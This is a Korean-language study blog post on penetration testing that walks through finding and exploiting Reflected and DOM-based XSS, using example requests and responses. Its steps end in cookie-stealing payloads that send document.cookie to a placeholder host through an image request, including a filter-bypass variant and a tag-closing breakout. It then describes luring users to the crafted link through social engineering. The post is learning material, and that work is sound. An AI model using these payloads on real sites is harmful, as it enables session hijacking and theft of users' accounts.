본문 바로가기

모의해킹 공부/모의해킹 스터디

[0511 Day07] XSS(Cross Site Scripting)-02

2023.05.05 - [모의해킹 공부/취업스터디] - [0504 Day06] XSS(Cross Site Scripting)-01

 

[0504 Day06] XSS(Cross Site Scripting)-01

XSS(Cross Site Scripting) : 클라이언트 측 코드에 코드를 삽입하는 공격 여기서 클라이언트 측 코드란 웹 브라우저 코드 HTML, JAVASCRIPT 등을 의미하고 웹 브라우저 코드에 공격자가 원하는 공격 코드를

jisu069.tistory.com

 


XSS(Cross Site Scription)

: 공격자가 원하는 클라이언트 측 코드를 삽입하여 클라이언트의 브라우저에서 실행되는 공격

사용자의 세션을 탈취, 웹사이트 변조, 악성코드 삽입 등 피싱 공격을 한다

※ 공격 언어 : Javascript, HTML


[1] Reflected XSS (반사시키자!!)

Reflected XSS

공격자가 악의적인 코드를 URL에 담아 사용자에게 전달하여 공격하는 XSS

검색, 아이디 중복 검색과 같이 사용자가 입력했을 때 입력한 값이 그대로 출력되었을 때 사용할 수 있다!!

 

[1-1] 취약점 포인트 찾기(Reflected XSS의 포인트는 보물찾기와 같다!!)

1) Burp Suit을 사용하여 공격할 페이지를 탐색하고 파라미터가 있는 페이지를 Repeater를 통해서 확인한다

2) 취약점 포인트에 특수문자 < " ' >을 집어넣어서 값이 나오는 지 확인한다

EX)
GET /test/board.php?option=username&board=test<"'>&
search=%F0%9F%94%8D&date_from=&date_to= HTTP/1.1

 

3) 값이 그대로 나올 경우 HTML 태그(<script>, <p>, <a>..)를 넣어본다 

EX)
board_result=test<script>
or
board_result=test<p>
or
board_result=test<a>

 

4) HTML태그가 나온다면 화면에 출력되는 코드를 파라미터에 삽입한다

EX)
board=test<script>alert(1)</script>
or
board=test<script>console.log(1)</script>

 

5) 세션 탈취 코드를 파라미터에 삽입한다

EX)
board=test<script>var%20cookie=document.cookie;var%20img=new%20Image();img.src="URL?cookie="%2bcookie;</script>

or <script>가 막혀 있을 경우

EX)
board=test<img%20src=x%20onerror="var%20cookie=document.cookie;var%20img=new%20Image();img.src="URL?cookie="%2bcookie;"/>

 

6) 지금 까지 완성한 코드 페이지 URL을 사회공학기법을 통해 사용자들에게 누르게 하면 사용자의 세션을 탈취하게 된다


[2] DOM Based XSS(Document Object Model)

Reflected XSS와 비슷하지만 사용자가 입력했을 때 입력한 값이 그대로 출력되지 않았을 때 사용하는 공격기법

Javascript 안에 HTML 태그가 생성되는 곳에서 사용!!

 

[2-1] 취약점 포인트는 Reflected XSS와 비슷하다\

Request EX)
GET /test/board.php?option=username&board=test&
search=%F0%9F%94%8D&date_from=&date_to= HTTP/1.1
Response EX)
<script>
	function search(){
		var url = document.URL;    
		document.getElementById('search').innerHTML="입력한 값 "+ "search")
    }
</script>

1) Burp Suit을 사용하여 공격할 페이지를 탐색하고 파라미터가 있는 페이지를 Repeater를 통해서 확인한다

2) 취약점 포인트에 특수문자 < " ' >을 집어넣어서 값이 나오는 지 확인한다

board=test<"'>
---
<p id="serach">
	"입력한 값은"
	test<"'>
</p>

 

3) 값이 그대로 나올 경우 <script></script> 를 넣어본다

board=test<script></script>
---
<p id="serach">
	"입력한 값은"
	test<script></script>
</p>

 

4) HTML태그가 나온다면 화면에 출력되는 코드를 파라미터에 삽입한다

board=test<script>alert(1)</script>
---
<p id="serach">
	"입력한 값은"
	test<script>alert(1)</script>
</p>

이렇게 입력하면 값이 나오지 않는 것을 확인 할 수 있다  그 이유는 <p>태그 안에

<script>태그가 들어가져 작동을 하지가 않는다

이럴 경우 SQL Injection을 사용했던것 처럼 <p>태그를 닫고 시작한다

 

5) <p> 태그를 닫고 화면에 출력되는 코드를 파라미터에 삽입한다

board=test</p><script>alert(1)</script><p>
---
<p id="serach">
	"입력한 값은"
	test</p>
    <script>alert(1)</script>
    <p>
</p>

 

6) 세션 탈취 코드를 파라미터에 삽입한다

board=test</p><script>var%20cookie=document.cookie;var%20img=new%20Image();img.src="URL?cookie="%2bcookie;</script><p>
---
<p id="serach">
	"입력한 값은"
	test</p>
    <script>var%20cookie=document.cookie;var%20img=new%20Image();img.src="URL?cookie="%2bcookie;</script>
    <p>
</p>

 

7) URL을 사회공학기법을 통해 사용자들에게 누르게 하면 사용자의 세션을 탈취하게 된다


<추후 XSS 총 정리, 실습 정리>


[아이콘 저작권]

디지털 아이콘 제작자: Muhammad_Usman - Flaticon

Ui 아이콘 제작자: Ilham Fitrotul Hayat - Flaticon

지원 아이콘 제작자: Freepik - Flaticon

ui 아이콘 제작자: Ilham Fitrotul Hayat - Flaticon

섬기는 사람 아이콘 제작자: Those Icons - Flaticon

'모의해킹 공부 > 모의해킹 스터디' 카테고리의 다른 글

[0525 Day09] CSRF & SSRF  (0) 2023.05.29
[0518 Day08] XSS & CSRF  (0) 2023.05.19
[0504 Day06] XSS(Cross Site Scripting)-01  (0) 2023.05.05
[0427 Day05] SQL Injection-03  (1) 2023.04.28
[0420 Day04] SQL Injection-02  (0) 2023.04.21